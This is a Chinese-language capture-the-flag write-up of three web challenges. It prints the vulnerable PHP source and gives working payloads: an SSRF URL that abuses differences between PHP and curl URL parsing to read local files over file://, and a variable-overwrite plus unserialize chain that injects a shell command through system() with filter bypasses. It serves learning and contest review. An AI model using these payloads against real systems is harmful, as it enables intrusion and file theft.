PRELOADER

当前文章 : 《第四届上海大学生网络安全赛WP》

8/20/2019 —— 

前记

昨天周末有空去打了这次的上海大学生信息安全竞赛,打得贼难受。

趁着i春秋的比赛环境还没关,赶紧跟着一叶飘零大佬的WP来复盘了。

个人来说,感觉这次的web题质量还是相当不错的(其实就是做不出来),学到了一些新姿势,在此做些记录。

web1

拿到题目

查看源码

1

发现提示要访问robots.txt

2

发现flag.php返回空页

而source.php返回如下

3

抓包,测试后发现需要post参数admin=1才有下一步提示

4

还需要添加X-Forwarded-For:127.0.0.1还有X-client-ip:127.0.0.1

5

接着再post参数url=http://www.ichunqiu.com

6

发现了一张图片的地址,访问后图片是显示不出来的

7

试下curl获取页面的内容

8

发现返回了301重定向的页面

又是下载链接,猜测是用来存放url参数请求的信息的,接下来验证猜测

构造url参数请求主页的内容

url=http://@127.0.0.1:80@www.ichunqiu.com/.//index.php

9

10

发现返回的确实是主页的内容

由于flag.php返回的内容为空,所以这里需要用到file协议来读取其中的源码

构造的payload:

file://@127.0.0.1:80@www.ichunqiu.com/..//../../var/www/html/flag.php

11

12

得到flag

具体原理可以参考:

http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()

为了能够方便更好地理解这个payload的构造,我总结了下:

url=file://user:pass@127.0.0.1:80@www.ichunqiu.com/.//../../var/www/html/flag.php

为了是url参数能够上传成功,需先绕过php对url的解析

这里php对该url的解析如下

13

Array

(

    [scheme] => file

    [host] => www.ichunqiu.com

    [user] => user

    [pass] => pass@127.0.0.1:80

    [path] => /.//../../var/www/html/flag.php

)

由于该url经php解析后host为 www.ichunqiu.com,于是便成功地绕过了php解析

绕过之后,其后台直接curl该url:file://user:pass@127.0.0.1:80@www.ichunqiu.com/.//../../var/www/html/flag.php

只不过curl的解析与php的解析不同,这里url中第二个@后面的www.ichunqiu.com会给忽略

最终解析为:

Array

(

    [scheme] => file

    [host] => 127.0.0.1

    [user] => user

    [pass] => pass

    [path] => /.//../../var/www/html/flag.php

)

于是成功的访问到我们要的内容

web2

扫描目录后发现源码泄露

14

用vim -r 恢复源码

<?php
error_reporting(0);
class come{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){and to continue
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
         if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
        {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come);
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

接下来就是代码审计一波了。

先出现的是一个come类,具体内容先不看,往下,有一个foreach

15

这里仔细阅读可以发现能够执行一次变量覆盖,接着往下

16

看到parse_str函数出现,马上想到可以多次变量覆盖。接着来捋捋思路:

这里要进入这个if语句,就要先覆盖first这个变量的值为“doller”,

于是可以利用到foreach那里的一次变量覆盖,重新传入first的值就可以了。

接着利用parse_str的多次变量覆盖进入各个if语句。最终payload为:

xxx.com?first=doller&a=var=give%26bbb=me%26ccc=flag

注意:这里a值里面的&要进行url编码

17

接着出现了unserialize()函数,考反序列漏洞了。

然后继续返回去看come类,有construct,wakeup,waf,echo,__destruct这几个函数

首先看到waf函数,看看怎么绕过,其实也没怎么过滤,用双写就可以简单绕过了;

接着看echo函数,有system()函数,那就应该是可以命令注入的了,再看看__destruct函数,限定了传进去的method只能为“echo”,整理下思路,总的来说就是利用反序列化漏洞,来执行命令注入

那我们需要先得到payload反序列化后的字符串,接着urlencode,再post进去

$c=new come("echo",array('`cat${IFS}/flflagag`'));

$d=serialize($c);

echo $d

注意:1.args明显是个数组,所以生成新对象come的时候要传进数组array()的形式;2.用$(IFS)绕过空格

得到反序化后的payload:O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"cat${IFS}/flflagag";}}

接下来url编码后post进去就可以得到读取到flag了。

18

web3

这道题给了代码

<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);

这道题第一步就绕不过了(终究还是太菜了),看了大佬的WP才知道怎么绕过。if($_FILES[‘file’][‘name’]){

      $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];

        if (!is_array($filename)) {

            $filename = explode('.', $filename);

        }

        $ext = end($filename);

        if($ext==$filename[count($filename) - 1]){

            die("emmmm...");

        }

这里用数组就可以绕过了,但是我复盘到这道题的时候环境已经关了。。只能先大概理解下这道题的解法了。(囧)

19

(大佬wp的截图)

$new_name = (string)rand(100,999).".".$ext;

        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);

        $_ = $_POST['hehe'];

        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){

            include($_);

        }

        unlink($new_name);

这里首先限定了上传的文件开头6位必须是@<?php,我们知道这文件内容现在是完全可控的,并没有什么实现难度,然后要求$_中不能有$new_name,这个也没什么难度。然后就include($_)了

我们知道,可以把文件传到/tmp目录下,然后这里$_又是可控的。像这样构造数据包

20

然后,读flag。

21

其他的题参考大佬的wp:

https://xz.aliyun.com/t/3150
https://xz.aliyun.com/t/3153#toc-2